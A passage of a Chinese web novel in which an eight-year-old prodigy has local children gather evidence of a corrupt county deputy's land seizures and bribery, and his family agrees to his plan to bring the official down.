“这些消息,不管大小,通通去打听来!斩首之前,先抓住他的‘尾巴’!” “哪家小子打听来的消息最管用,奖摩喉罗一个。” 原本,几位少爷还不怎么抱期望。 可听完崔岘的话,一个个眼睛都亮起来,表情振奋。 合着,最后还是绕回了他们最擅长的部分啊! 庄瑾家经商,全南阳数得上的商户,有点实力的,儿子跟他差不多大的,他心里门清儿。 李鹤聿家呢? 这个更恐怖,全南阳那么多工匠,遍布各个宅院,到处都是‘眼线’。 至于裴坚,完全有能力把手伸进衙门里! 他们几人本就是‘孩子王’。 要是又有摩喉罗作奖励,底下那群小子们,绝对抢着来办事儿。 想到这儿。 崔岘又回忆一番‘大川’的模样,当场绘制,交给裴坚:“大哥,去衙门的时候,让人打听下此人是谁。” 崔老头家那个女婿林差役,显然是认出了‘大川’。 但崔岘没有贸然去打探。 他连大川是谁都不知道,贸然上去打探,不就露馅了吗? 如今赵志虎视眈眈,崔岘还想继续扯虎皮,让那位林差役,继续照顾自家安全呢。 裴坚接过崔岘递来的画像,和其余三位少爷嘿嘿怪笑。 而后,几人分头离开。 崔钰没分配到任务,眼巴巴问道:“阿弟,我呢?” 崔岘想了想,道:“阿兄,你去赵志家附近蹲点,碰碰运气。” 万一就有收获了呢! 这天。 在大人们毫不知情的情况下,许多小孩都十分振奋。 “真给虹猫摩喉罗?裴坚兄你放心,这事儿我保证给你办好!我嘴巴严的很,我爹娘也不告诉!” “鹤聿兄,我爹是赵府的花匠,我去打听!” “庄瑾兄,我向来唯你马首是瞻。我什么都不要,一定把这事儿给你办好!” “高奇兄你放心……” 如此多的人,暗中打探赵府相关信息。 若这是一群大人,早就会引起各方警惕,赵志绝对第一时间察觉到。 但妙就妙在,这是一群人畜无害的半大小子。 而且他们之间并无互通,甚至不知道自己在做什么,暴露了也无所谓。 因为裴坚四人给出的口径十分一致—— “兄弟们,哥哥我看赵耀祖那厮不顺眼,打听点赵家有用的消息来,我想办法搞他!” “能帮上忙的,奖励虹猫摩喉罗一个。” “帮不上忙也无所谓。一个月后,商铺街会开一家虹猫摩喉罗店铺,让你爹娘带你去买。” 59、进击的小兵们(下) 对于小孩来说,摩喉罗的诱惑力太大了! 最近《虹猫》话本爆火。 虹猫摩喉罗,是个小孩都无法拒绝。 而得到摩喉罗的办法也很简单—— 跟自家爹娘,打探点赵府相关的信息就可以了! 这些小子们读书可能不太行。 但长得那点为数不多的心眼子,用在自己爹娘身上,可真是一用一个准儿。 因此。 这日,某位在赵府做花匠的男子归家后。 饭桌上,他的儿子突然道:“爹,你上工一天辛苦了。” “儿子听说,那赵府门第高,权势滔天。爹你在他家上工,不会被欺负吧?” “他家老爷和少爷,会不会突然发脾气,迁怒无辜?” 花匠闻言感动极了,直呼我儿懂事、孝顺。 父子俩顺着赵家的话题继续聊。 花匠随口道:“说起来,赵府的小少爷确实脾气不好。最近在家经常摔砸东西,嘴里还念叨着……” “此人绝对不可能是天才,我要杀了他,之类的话,好生吓人。” 他只是闲聊。 却没注意到,自家儿子眼睛猛然亮起来。 某酒楼。 几个赵家的家丁,正在小间里喝酒吃菜。 因为四下无人,一位喝多了的家丁红着眼愤愤道:“七年,我在赵家干了七年!对他们忠心耿耿!” “可赵志那厮,竟欺负了我娘子!我恨啊!” 其余家丁心有戚戚,出言安慰。 他们没发现。 小间隔壁,酒楼老板的儿子,正猫在传菜口偷听。 忙碌的店小二以为自己少东家在玩耍呢,全然没在意。 某牙行。 趁着亲爹不在家,一个半大小子拿着钥匙,偷偷打开了自家库房。 “我隐约听我爹某次喝醉酒说过,赵家富的流油,单是在我家牙行里过户的房产契单,都足足有好几本。” 这小子一边嘀咕,一边在库房架子上来回翻找。 究竟放在哪里了呢? 蓦地,他眼睛亮起来:“太好了,找到了!” 南阳某处不起眼的私宅。 一位富有的茶行商人,以‘宴请’的名义,悄悄请赵县丞上门吃酒。 席间推杯换盏,好不热络。 最后。 商人将一沓银票不着痕迹的递给赵县丞,语气谄媚:“赵大人,一点心意,一点心意。” 赵志笑呵呵收下,搂着一位美娇娘,去了隔壁房间。 两位大人从始至终都没注意到。 商人家六岁的小儿子,一直在客厅门槛处坐着逗猫。 但小眼睛却滴溜溜转动,将父亲和赵县丞的举动,全都看在眼中。 赵府外。 一个白发苍苍的老妇,正双眼无神的躺在巷子里,满脸绝望憔悴。 在赵府门外小心徘徊的崔钰瞧见了,有些于心不忍。 这位老妇,让她想到了自家祖母。 于是,崔钰迟疑片刻,花一文钱买了一个馒头,又问店家要了一碗清水。 而后送到老妇身边:“婆婆,吃点东西吧。” 老妇抬起头来,瞧见这个好心的孩子,不停道谢,眼泪也跟着流淌:“好孩子,谢谢你。” “天杀的赵志不做人,我家足足四十亩的田地,全都被他夺去了啊!” 听到这话,崔钰浑身一震。 白河边,竹林。 天色已将将擦黑,崔岘等待许久,终于把各位大哥们都盼回来了。 第一个回来的是李鹤聿。 他表情愤怒:“岘弟,我去打听了,你家遭贼一事,多半就是赵家动的手!” “上次斗诗失败,赵耀祖和赵志丢尽颜面,还得知你有读书天分,是以怀恨在心。” “咱们族学里赵家那位内应,我也揪出来了。” “但我没有轻举妄动,佯装不知。” 崔岘给予赞许:“鹤聿兄做的好,咱们目前不能暴露,要处在暗中行事。” 庄瑾回来的时候,表情十分难堪:“岘弟,我这边也打探到一些消息。” “那赵志家的房产,多的不计其数。” “他还受贿,吴记茶行的东家,今晚给赵志塞了足足二百两银子!他家儿子亲眼看到的。” “而且,赵志还打人!” 打人? 见李鹤聿、崔岘目露疑惑。 庄瑾愤愤道:“对!吴记茶行家的小儿子亲眼所见!说是赵志带着一个女子去了隔壁房间,然后那女子一直使劲叫唤,叫的如杀猪一般凄惨。” “……” 崔岘汗颜,随后赶忙道:“好了好了,这一点应该没什么问题。” 庄瑾有些不服:“打人这种事情,也是可以报官的!怎么会没问题呢?” 崔岘无言以对。 好在庄瑾也没有过多纠结此事,他和李鹤聿一起看向崔岘,目露期待。 这些信息,能把赵志干掉吗? 崔岘摇了摇头。 贪墨、受贿、权色交易、私宅无数——看似很严重,但仍旧无法将赵志就地正法。 需要一个‘典型’的罪名。 可以无限放大,足以挑起士农工商各个阶层的怒火,闹到满城风雨,闹到县衙,甚至府衙都不得不出面。 闹到仕林儒人们的目光,都要愤怒的看向赵家。 赵家是乡绅之首,不假。 但在这个以士农工商排序的古代社会,惹怒了士族文人,什么乡绅都得完蛋。 要是这个罪名更典型,崔岘甚至有把握,把赵家当做靶子,丢到开封府去。 让赵志尝尝布政史大人的怒火! 正当庄瑾、李鹤聿、崔岘三人失望的时候。 崔钰小跑着回来了。 他气喘吁吁的说道:“阿弟,我也打探到一些消息。有一位老婆婆说,她家四十亩地,全被赵家霸占了。” “不仅是她,他们村子里很多户人家,都被赵家霸占了土地。” 李鹤聿闻言愤怒道:“这赵家,当真可恶。” 庄瑾同样厌恶道:“混蛋!该死!” 而崔岘,则是眼睛猛然亮起来,说出让在场几人浑身一震的话:“赵志,让我抓到你的尾巴了!” 土地兼并! 单是这一条,或许还不见得能拿下赵志。 毕竟罪名虽大,但赵志在南阳权势滔天,就算告到开封府去,也不见得能成功。 但—— 若是再加上一首脍炙人口,风靡仕林,足以挑起无数人对农民悲悯之心的名诗呢? 赵志,且看我以笔作刀。 来‘杀’你! 60、全家总动员! 白河畔。 天色已经黑了。 好在,终于抓到赵志的‘尾巴’,一帮小兄弟们都很振奋。 庄瑾压低声音问道:“岘弟你说,接下来该做什么?” 崔岘看了眼天色:“今日太晚了,我们先各自回去,莫要让家里人担心。” 众人点头。 等往回走的时候,才发现裴坚那边还一直没动静。 崔岘略作思索:“大哥去的是衙门,打探消息必定难度大一些。明日,学堂碰面再商议。” 于是,大家在河边分别。 另一边。 尚且没来得及回传消息的裴坚,还真找到了有用的东西! 裴坚认识县衙马典吏家的小孙子。 他在衙门悄悄蹲点许久,亲眼看到赵志离开。 然后指使马典吏家的小孙子,以寻找自家祖父为由头,‘误进’了赵志的县丞衙房。 本意是想碰碰运气。 结果好家伙。 那马典吏家的小孙子,直愣愣进去逛了一圈。 出来后从怀里拿出一沓文书,递给裴坚,语气带着讨好:“裴坚兄,你看这个行吗?” 裴坚随意一眼扫过去,脸色一下子就绷紧了。 甚至不可置信的看了好几遍。 因为这一沓文书,是关乎好些村子的‘脱户’、‘销户’、‘漏户’的在册登记内容。 裴坚虽然没文化,但他有见识,而且心思极其敏捷。 直觉告诉他,这东西绝对有大作用! 将这沓文书迅速塞进怀里。 裴坚想了想,终究没忍住问道:“这些东西,你怎么找到的?” 马典吏的小孙子直愣愣道:“赵县丞衙房案牍下面地板有处暗格,我先前进去躲猫猫的时候发现的。” “这种暗格,我祖父弄了好几个,我一看就知道怎么打开。” “但里面的金银珠宝,银票之类的,我不敢拿。只拿了这些没什么用的破纸。” 裴坚:“……” 人才啊。 他怔怔看着马典吏家的小孙子,一时间竟然不知道说些什么好。 马典吏家的小孙子见他不说话,有点急了:“那些贵重东西我真不敢拿!裴坚兄,求你了……” 东西已经到手,裴坚懒得废话。 从怀里掏出一个摩喉罗递给对方,不耐道:“行了,你拿来的东西虽然不咋地,但勉强给你一个吧。” “但规矩你是知道的,要是敢出去乱说,老子三天能揍你五顿。” 马典吏家的小孙子兴奋收起摩喉罗,缩了缩脖子:“裴坚兄你放心,我肯定不说!” 他去赵县丞衙房里偷东西,怎么敢往外说? 等目送马典吏家的傻孙子走了。 裴坚瞧了眼天色,又去了县衙后门。 这里距离差役们的耳房很近。 他刚过去。 一个年纪稚嫩的小男孩畏怯走过来,喊了一声‘裴坚兄’。 裴坚应了一声,问道:“人打听到了吗?” 不得不说,小裴少爷真是天生能干大事儿的人。 知道兵分两路。 他谨慎的把‘进县丞衙房’一事,交给马典吏家的小孙子。 而崔岘让他帮忙寻找‘大川’的事情,则是找到了这位稚嫩小男孩来办。 因为眼前小男孩的爹,是衙门里的一位差役。 也是巧了。 这小男孩的爹,其实就是崔老头的女婿林差役。 听闻裴坚的话。 稚嫩小男孩小声道:“裴坚兄,你找的人我认识,他是县太爷。” 什么? 裴坚一愣,随后从怀里掏出崔岘给的画像,狐疑道:“你确定?再看看,别弄错了。” 叶怀峰县令是新上任的,因此裴坚也不曾见过。 那稚嫩小男孩又认真看了几眼画像。 随后笃定道:“他就是县太爷!今日我亲眼看到他来找我爹,我爹喊他县太爷。” “县太爷跟我爹说,让我爹嘴巴严一些,若是崔岘一家来向我爹打听他的身份,让我爹什么都不要说。” “哦对,他还特地交代我爹,让我爹帮忙照看崔岘一家。” 啊? 岘弟怎么跟县太爷扯上关系了? 裴坚很是吃惊。 他照旧给那稚嫩小男孩一个摩喉罗,对方欢喜的脸色涨红,喜滋滋跑了。 县衙里。 特地找机会,跟那位林差役交代,让对方守口如瓶的叶怀峰县令,正在庆幸。 他的马甲又捂住了嘿嘿! 稍晚些的时候。 在茶行商人家里吃好喝好,享受完美人服侍的赵县丞,优哉游哉归家。 结果刚一回去,又看到自家小孙子在摔砸东西。 赵志赶紧上前哄道:“哎哟,是谁又惹我家乖孙生气咯。” 赵耀祖气呼呼道:“还是那个崔岘!我可是听说了,他最近在裴氏族学里,好生出风头。” “那吴夫子,天天夸他是旷世奇才!气死我了!” “祖父,你不是说很快便能收拾了他吗?” 提起此事,赵志脸色也是一冷。 前些日子本想踩着崔岘做垫脚石,让自家小孙子扬名。 结果一首《咏鹅》,让《咏新竹》和赵家都成了笑柄。 赵志在南阳嚣张惯了,自然忍不下这口恶气。 再加上孙子赵耀祖挑唆。 赵志便使了个阴招,派了个有前科的毛贼,携带一些金银,去崔家栽赃陷害。 却不曾想,那没用的毛贼,竟被一个小差役碰巧给抓包了! “乖孙放心,上次出了点意外。祖父向你保证,肯定尽快把那小子全家收拾了。” 赵志笑呵呵跟孙子表态。 心里却在思索着,该再想个什么法子,惩治崔家。 以他如今的权势地位,要打压收拾一户普通百姓,那实在太过容易。 听说,崔家小子确实有些才气天分。 既然如此,更要尽早扼杀,以绝后患呐。 巧了。 崔岘也是这样想的。 一位权势滔天的县丞,在背后恶意的盯着自己,叫他如何能安心? 崔家。 老崔氏等了又等,终于在天色彻底黑下来的时候,把两个小孙子给盼回来了。 她松了口气:“老大媳妇,两个孩子到家了,准备开饭。” 林氏从堂屋里出来:“好的,娘也赶快去坐下歇歇。” 俩孙子一直没回来,老崔氏不放心呐,一直在巷子口眼巴巴等着。 崔伯山点起油灯。 陈氏在哄小闺女。 崔璇则是帮她娘一起,把饭菜端去堂屋。 一家子人各有各的忙活。 最后在堂屋饭桌前坐下,烛火昏黄温馨,菜肴冒着热气,每个人表情都轻松惬意。 自从搬到新家后,日子越过越好,可不就舒坦。 老崔氏不停给几个小的夹菜,神情欢喜:“今日庄家派人来知会,说是摩喉罗店铺选好了,这几日让咱们过去瞧瞧呢。” 因为是头一次做生意开店,一家子都很谨慎,也抱有极大期盼。 他们聊得火热。 是以没注意到,崔钰、崔岘两兄弟,今晚话格外的少。 尤其是崔钰,眼神一直在阿弟身上瞟,有些不安。 他才九岁,碰到这么大的事情,心里慌乱也是正常。 等饭吃的差不多了。 崔岘经过慎重思考,认真开口道:“祖母、大伯大伯母、爹娘,我有个事情,要同你们讲。” 什么是家呢? 家是避风港。 崔岘集结了一帮小兄弟,准备向赵志宣战。 但这还不够,他还需要家人的帮忙。 他们一家子齐心协力,从河西村搬到南阳来,费了不少的力气。 是以,崔岘绝对不允许,有人来伤害这个家。 但今日解决了赵志,明日或许还会有钱志、孙志。 崔岘无法时时刻刻保护自家人。 他决定带着家人一起成长。 陈氏抱着闺女,闻言笑道:“什么事儿啊,还挺严肃。” 结果崔岘一句话,便让陈氏笑不出来了。 就听岘哥儿说道:“昨夜来咱家的毛贼,并非是来偷东西的,而是来放东西的。” “此人是经由县丞赵志指示,特地来栽赃嫁祸咱家。” 哐啷。 老崔氏拿着饭碗的手一抖,瓷碗跌落地面摔了个稀碎。 其余崔家人也都神情剧变。 纵观南阳县城,谁不知赵家威风? 大伯崔伯山急急问道:“岘哥儿,你说的可是真的?赵家,怎地会盯上咱家?” 崔岘便把赵耀祖、赵志试图拿自己做垫脚石。 未曾想却丢了大脸,于是怀恨在心,蓄意报复的事情,一一说出来。 换成别家。 这个时候的家长,势必要狠狠打一顿孩子,训斥他闯下滔天大祸。 但回过神来的老崔氏,一把将崔岘抱在怀里,心疼道:“我的好乖孙,这不是你的错,不是你的错啊。” “这么大的事情,一直憋在心里,肯定担心受怕坏了。” 崔仲渊则是咬牙切齿:“赵家欺人太甚!大哥,明日我们便去县衙报官。” 崔伯山重重点头。 两个儿媳妇,以及崔璇面色发白,但好在都还算镇定。 看来这段时间他们也在成长,虽然缓慢,可比从前一遇见事儿就抹眼泪好太多了。 崔岘从祖母怀中挣脱出来,道:“爹,大伯,赵家权势滔天。冒然报官,最后吃亏的,还是我们。” “孩儿今日选择把话说出来,便是想到了将赵家连根拔起的对策。” 娘嘞! 将赵家连根拔起? 听闻这话,一家人都神情呆滞。 那可是赵家啊! 昏黄的灯光下,岘哥儿眉眼仍旧稚嫩。 但不知为何,姿态竟有几分少年的肆意张扬。 “我答应了祖母,要光耀我崔家门楣,岂能让赵志那厮,绊住我们的大好未来?” 接着。 崔岘将自己带领小兄弟们调查赵志的事情,详细和盘托出。 一家人听得心惊肉跳。 岘哥儿胆子是真大啊! 便听崔岘又道:“土地兼并一事,既然已经抓到他把柄,那就有了施展空间。” “但赵志手中有权,又站在背后。他栽赃陷害我们不成,必定会选择继续下手。这才是目前,最需要警惕的。” “未知危险才最是可怕。” “是以,我们要掌握主动权,引导赵志来‘迫害’我们。把未知危险,调控成已知危险。” 他口齿清晰,逻辑顺畅,表情也有种运筹帷幄的笃定。 无形中,堂屋里众人都安心了很多。 老崔氏道:“岘哥儿你继续说,你打算怎么做。” 崔岘抬起头来:“咱家那三十亩地,想办法,让赵志那厮侵吞了去。一来控制风险,而来,我需要介入土地兼并案件中,以苦主的身份,讨伐赵家。” 嘶。 听闻这话,全家人都倒抽一口凉气。 他们刚从农家搬出来,还未完成阶级跨越。 田地,是一家人的命啊! 是以谁都没有吭声。 良久后。 老崔氏一咬牙:“好。岘哥儿说的对,已知危险,总比看不见的未知危险,让人提心吊胆来的好。” 崔岘闻言惊讶的看向祖母,惊异于对方的魄力。 随后。 他继续道:“至于如何让赵志盯上咱家的田地,借助隔壁那位崔老头来‘帮忙’吧。” “我们和他早已分了家,为避免此人以后来打秋风,还是早早划清界限来的好。” “咱们崔家,不稀罕这些所谓的宗亲,以后我们自己,单开族谱。” 好一个单开族谱! 面对赵县丞这样可怕的敌人,八岁的岘哥儿,非但没有一点害怕。 反而运筹帷幄,准备博弈! 这般少年姿态,实在让人心折。 但,敌人毕竟是赵家啊! 老崔氏虽然下了决定,还还是哆嗦着问道:“岘哥儿,有把握吗?” 油灯下。 她年幼的小孙子灿然一笑,眼神清亮,眉眼自信:“不出一月,赵志必死无疑!” 这…… 是何等的魄力啊! 没等一家人说话。 崔岘突然看向崔钰,笑问道:“阿兄,你今日去过那赵府宅院,如何?” 崔钰道:“里面不知,外面很是奢华,门头修缮的更是格外气派。” 于是。 便见崔岘一扬眉,笑看向全家人:“单开族谱,岂能无大宅安家?此处院落太小,还要出房租,常住下去也不方便。” “既然如此,便让赵家化作尘土随风去,换上我崔家的牌匾吧!” “怎么样。祖母,大伯大伯母,爹娘,要不要同孩儿一起,全家协力,同那赵志,杀上一场!” “替咱们崔家,杀出来个大好未来?” 老天呐! 就这么简单一句话,把一家子人的血都给点燃了。 岘哥儿这孩子,当真满身胆量锐气! 一盏茶功夫前,全家神情紧张畏怯。 而现在,他们不怕了! 反而个个如打了鸡血,进入‘战斗’状态。 赵家欺人太甚,我崔家齐心,全家协力,为保卫自家而战! 老崔氏涨红着脸看向小孙子,一锤定音:“岘哥儿你说,咱全家人,都听你调遣!” 61、老将竟在我身边 老崔氏一锤定音,采取了岘哥儿的计划。 整个崔家人都悄然开始行动。 于是这天早上。 崔老头出门溜达,突然瞧见老崔氏的两个儿媳妇,正在巷子口说闲话。 他转了转眼珠,悄悄过去偷听。 上次因为女婿抽风,公然在老崔氏家门口下跪,让崔老头丢了很大的脸。 这口气崔老头咽不下,正琢磨着怎么讨回去呢。 今日真是老天相助! 崔老头刚一凑近,便听到了一个惊天大消息! 便见老崔氏的大儿媳苦兮兮叹了口气,道:“怎么办,得罪了赵县丞,咱家以后还哪里有活路哟。” 二媳妇抱着小闺女,也抹起眼泪:“谁让咱家岘哥儿有本事,比赵县丞家的小孙子厉害。” 大儿媳妇又道:“可咱家岘哥儿厉害,还不是因为……” 话说到这里。 两个女人仿佛做贼一般,遮遮掩掩的打住了话题。 崔老头听得抓耳挠腮:还不是因为什么,继续说啊! 后面的内容,他到底是没听清。 但有一件事绝对是真的。 老崔氏一家,竟得罪了县丞赵志。 娘嘞,那可是赵家啊。 老崔氏一家完了! 崔老头幸灾乐祸,只觉得心中长舒一口恶气,同时又起了坏心眼子。 难不成,老崔氏一家有什么宝贝,被赵县丞盯上了? 他要是打探清楚,然后汇报给赵县丞,岂不是能借此攀个高枝儿! 这样一想,崔老头心中无比激动。 准备再找个机会,将老崔氏一家的内幕,仔细打探清楚。 兴奋的崔老头没发现。 崔家两个儿媳妇一边闲谈,一边暗中彼此使眼色呢。 与此同时。 老崔氏则是早早出门。 根据昨天崔钰打探来的消息,她佯装迷路,去了那个被赵县丞强占田地的老婆婆所在的村子。 老崔氏年纪大了,看起来似乎也腿脚不便,迷路实属正常。 半点没引人怀疑。 她在一户人家歇脚喝茶,又跟人家闲聊了许久。 结果越聊老崔氏越生气。 赵志那厮不得好死。 眼前这个活生生的村子,竟全被他操控成了‘黑户’! 为了兼并土地,赵志把这个村子百姓的户口,都一并‘销户’、‘脱户’了。 还把村子里一些闹事的男人,强行送去服徭役。 因此哪怕被强占走了土地,这些百姓们也不敢再去伸冤。 有道是:衙门口朝南开,有理无钱莫进来! 这简直骇人听闻。 从那村子离开后,老崔氏一边愤怒,一边提心吊胆。 虽明知赵志手段滔天,可亲眼见识过后,才知这些手段落在普通百姓身上,会多么令人绝望。 若非有他家小孙子岘哥儿在,崔家多半也要完蛋。 “老婆子我盼了二十年,才盼来崔家崛起,盼来岘哥儿这样一位文曲星乖孙。” 老崔氏原本佝偻的脊梁,一点点挺直。 苍老的眸子里迸射出恨意,与孤注一掷的决然。 她喃喃道:“赵志,任你手段滔天。但你敢惦记我孙儿,敢惦记我崔家。老婆子我拼上这条老命,也得狠狠咬上你一口!” 孙儿才八岁,正是无忧无虑读书的好年纪。 却要被迫卷进波云诡谲的纷争里。 老崔氏心疼啊! 正因为心疼,她更不能怯。 回想方才那村子里的凄惨状况,老崔氏不停给自己顺气,怕的手一直在抖。 可八岁的岘哥儿,用他稚嫩的肩膀,扛起了崔家。 那自己这把老脊梁骨儿,凭什么挺不起来呢? 岘哥儿,好孩子。 别怕,别怕啊。 祖母会始终站在你身边,同你一起打赢这一仗! 当老崔氏去实地搜查证据的时候。 伏牛巷。 崔岘刚到,便见早已等待许久的裴坚,若无其事递过来一本书:“看看,有用没。” 庄瑾、李鹤聿几人嘻嘻哈哈围过来,替他们遮挡住外人视线。 崔岘接过那本书翻开,然后不可置信惊喜道:“这……大哥,你怎么找到的?” 这是吊销户籍、兼并土地的直接证据啊! 白纸黑字的文书看似轻飘飘,可一旦上了秤,‘几千斤’都打不住! 裴坚闻言,得意把事情经过讲述了一遍。 崔岘听得大为震撼。 这……也行? 真就‘小兵’过河,打出‘奇兵’的效果了呗。 见崔岘神情惊喜。 庄瑾压低声音问道:“岘弟,那是不是说明,咱们能把赵志那厮拉下马了!” 其余几位小兄弟闻言,都很是振奋。 他们年轻,正是嫉恶如仇的年纪。 又有一股子初生牛犊不怕虎的锐气在。 大家齐心合力,干大事儿,能把高高在上的赵县丞给收拾了。单是想一想,都觉得热血沸腾啊! 崔岘闻言摇了摇头:“不,还差一环。赵志权柄太大,我需要拉县尊入场压阵。” “吴夫子说,县尊最近会来族学,到时候我想办法观察一下对方的品性,再做定夺。” 竟还需要县尊参与? 一众小少年都很是吃惊。 更让大家吃惊的是。 听到崔岘的话,裴坚先是一愣,随后嘿笑道:“这事儿啊?大哥也给你解决了。” “还记得你昨日让我打听的那位大川吗?我打听了,他就是县尊本人。” 什么? 大川就是县尊? 崔岘闻言也有些吃惊,随后反应过来—— ‘酒楼东家’便是‘县衙一把手’。 棋盘上缺少的那位‘老将’,竟然一直在我身边。 吴夫子嘴里‘好生威严’、‘刚正不阿’的县尊,竟然是憨憨大川? 多荒谬啊! 见崔岘表情精彩,裴坚没忍住问道:“岘弟,你怎么跟县尊牵扯上了?” 崔岘便把叶怀峰眼馋虹猫摩喉罗,甚至不惜登门拜访的事情说了。 几位小兄弟听得瞠目结舌。 不是,这也行? 将那些文书证据收入书箱,崔岘看向瞠目的一群小兄弟,嘿笑道:“诸位兄长们,如今万事俱备,只欠东风。” “且等我把咱们的憨憨县尊调教一番,教他两招真本事。” “而后就能拎他上战场,拿下那赵志了!” “还有,先前跟你们通消息的那群小孩,最近常跟他们联络着。” “我需要他们,帮助咱在南阳掀起一场很大、很大的舆论风波。” “这件事后,咱们兄弟几人这南阳才子的名头,保准坐的稳稳地。” 绝了! 听听这话说的有多狂妄! 什么万事俱备,什么教县尊两招真本事,什么保准坐稳南阳才子的名头。 裴坚几人听得心驰神往,激动不已。 跟着岘弟走,没错的。 咱们兄弟几个,注定是要干大事儿的人! 这天。 几位少爷跟打了鸡血似的激动,连学习都事半功倍。 让吴夫子好生欣慰。 同样是这一天。 憨憨大川在衙门又受了挫,拎着瓜果肉菜,再次敲开了崔家的门。 崔家灯火温馨,饭香四溢。 老崔氏打开家门,笑容和蔼极了,亲切的简直不像话:“哟,又跟婶子客气呐,到了自家,还带这么多东西作甚。” 崔仲渊听见动静走出堂屋,在院子里道:“大川来啦?嫂子,加副碗筷,刚好一起吃饭。” 林氏笑眯眯应了一声。 叶怀峰晕晕乎乎走进去,只觉得一颗心暖暖的,感动的想哭。 有种在工作上受了委屈,回到温馨家里,一切负面情绪都被抚平了的熨帖。 真好啊。 可此时,便见老崔氏恶狠狠瞪了一眼崔仲渊:“就你吃饭最积极,去县学读书一事,到现在都没有着落。” “我都快愁死了,你还能吃进去饭呢!” 叶怀峰一听,赶紧问道:“仲渊兄,你想要去县学读书?” 好巧,这事儿他能办啊! 62、铸刀,开铡 崔家,堂屋,饭桌上。 听闻叶怀峰的问话,崔仲渊羞愧道:“实不相瞒,我和兄长多年科考,如今仍旧是童生。” “所以想进县学,求教习先生们指点一二。” 独学寡闻,确实难以精进学业。 叶怀峰点点头,笑着建议道:“既然如此,伯山兄,仲渊兄,那你们可要抓紧时间去县学啊。” 老崔氏叹了口气:“去了好几次,人家嫌弃他俩是十年前的‘老童生’,不肯收嘞。” 叶怀峰不动声色道:“是吗?无碍的,婶子,你让两位兄长明日再去试试。” 老崔氏没吭声。 倒是崔仲渊叹了口气:“已经去了两三次了,都说不行。” 崔岘只跟老崔氏说了,大川疑似是衙门里的官差。 家里其余人并不知情。 甚至老崔氏目前还不知道,大川是县尊大人。 要是真知道,估计会吓得直呼‘县尊老爷’,哪里还敢跟现在似的,套路人家? 正在吃饭的崔岘笑着接过话茬:“大伯,爹,既然大川兄都这么说了,你们明日再去县学试试。” 叶怀峰心中一跳。 他颇有些心虚的看向崔岘,见对方一直笑眯眯的,也看不出个所以然。 而且……你叫我什么,大川兄? 难道不应该是‘大川叔’嘛! 叶怀峰尴尬道:“这……岘哥儿。我唤你爹仲渊兄,你唤我大川兄,是否有些不合适。” 崔岘眨眨眼:“没事,我们各论各的,很合适啊。” 想我堂堂县尊,跟一八岁稚童称兄道弟,哪里合适? 我不要面子的吗! 叶怀峰正欲反驳。 也不知有意无意,老崔氏突然在旁边笑道:“哎呦,大川你别介意,岘哥儿这孩子,机灵得很呐。” “我观你方才进家门的时候,神色郁郁,可是遇到了什么难题?” “放心,你且说出来,万一岘哥儿能帮帮你呢。” “我家平日遇见难题,都是岘哥儿来解决的。” 其余崔家人听到这话,只觉得老崔氏今日也是奇了,竟对这大川如此热情。 唯有吃饭的崔钰一下子竖起耳朵,心想,来了! 今日放学的时候,裴坚几人多次交代崔钰:若是县尊去了你家,岘弟调教他的时候。你在旁边,每一句话都要仔细记清楚。 次日来同我们细细详说! 这种‘名场面’,谁想错过。 若非怕引人怀疑,四位少爷恨不得也坐到崔家饭桌上,现场强势围观! 果然。 听到老崔氏这话,叶怀峰眼睛猛然亮起。 婶子真是熨帖啊,刚好把话茬递了过来,此时正是向崔岘请教的好时机啊。 因此,叶怀峰看了一眼崔岘,随后暗中一咬牙,忍住羞耻道:“岘……岘弟,愚兄今日,还真遇到了点难题。” 崔岘见状心中暗自吐槽:这真的不能怪我,就此人这德行,谁敢想他是县尊? 面上却不动声色道:“哦?什么难题,你说说看。” 叶怀峰苦着脸道:“上次,我按照你说的,用打扫衙……咳,酒楼,成功让手下三人离心。” “但今日我准备乘胜追击,照葫芦画瓢做另外一件事,却被二把手联合另外两个给否了。” 崔岘闻言直摇头:“既然已让他们离心,那就应该在这上面继续做文章。” “你太着急了,目的太明确,肯定会招来二把手狠狠打压。我不用猜就知道,你所谓的另外一件事,是件关乎夺权的大事儿。” 神了! 崔岘明明不在现场,却能把控的非常精准。 叶怀峰脸上浮现出懊恼,急切期待道:“可有补救之法?” 崔岘道:“有。打扫酒楼这么个小事儿,都能让三把手、四把手离心,说明此二人本就面和心不和。” “平日二把手估计有意让这两人针锋相对,互相掣肘。” “这样,你先莫要着急夺权。绕过二把手,想个办法针对三把手,以个人恩怨为由头,把他开了。” “你不是东家吗,开个人还是很轻松的,然后扶持自己人上来。” 叶怀峰闻言脸色一苦,期期艾艾道:“这,我暂时无权开他。” 什么? 这下轮到崔岘大为震惊。 县太爷无权开掉一个小小典吏?那现在县衙里究竟是个什么混乱的情况啊? 他想了想,又提议道:“既然开不掉他,那就仍旧以私人恩怨为由头,凡是此人要做的事务,都不批钱。” 结果。 叶怀峰表情更加凄苦:“这……批钱一事,我不负责。” 崔岘:? 这次他想也不想,看向叶怀峰,真诚建议道:“那你回家吧。” 回家吧,回家吧孩子。 一位县尊老爷,虽然是附郭的,但那也是县尊啊! 你一无人事调动任免权,二无财政权,那你每天去县衙是去干嘛的? 也难怪叶怀峰肯拉下脸来,求自己帮忙。 显然是被逼急了。 虽说心中吐槽。 但崔岘一颗心也在下沉:看来,赵志手中的权柄,比他想象的更为可怕。 叶怀峰听到这话急了,殷勤陪笑道:“别啊!你再想想,一定有办法的对不对?” 老崔氏在一旁热络帮腔:“对啊岘哥儿,你再帮大川想想办法。” 崔钰闷头吃饭,只觉得今晚的饭格外香甜。 老天! 阿弟真的在调教县尊呢,虽然早有准备,但崔钰仍旧看的大为震撼。 他已经迫不及待等明日上学,同裴坚几人转述了! 见叶怀峰神情焦急,崔岘又问道:“那财政大权,和开人的权利,都由二把手掌控?” 叶怀峰赶紧道:“不不,这倒不是。额……我这小酒楼上面呢,还有一个大酒楼在管辖着。小酒楼的权限,由我手底下的二把手,和大酒楼的二把手共同管辖。” “听起来虽然很荒谬,但我还没来得时候,他们就已经是这样执行的。” “据说我这小酒楼的上一任,便是被二把手逼走的。小酒楼缺了东家,于是小酒楼的二把手,和大酒楼二把手一起联合经营小酒楼。” “我来了以后,小酒楼二把手很猖狂。大酒楼二把手明年就调遣走了,现在也懒得管小酒楼的破事儿,但也不愿意放权。” “因此我这个东家,什么事儿都办不成。” 他絮絮叨叨说了一大堆。 崔岘听懂了。 县丞赵志斗走了上一任县太爷。 南阳县衙暂时无县太爷。 于是知府大人出了个紧急备案:让知府衙门的二把手同知大人,跟县衙的二把手县丞一起,成立了一个类似‘委员会’的部门。 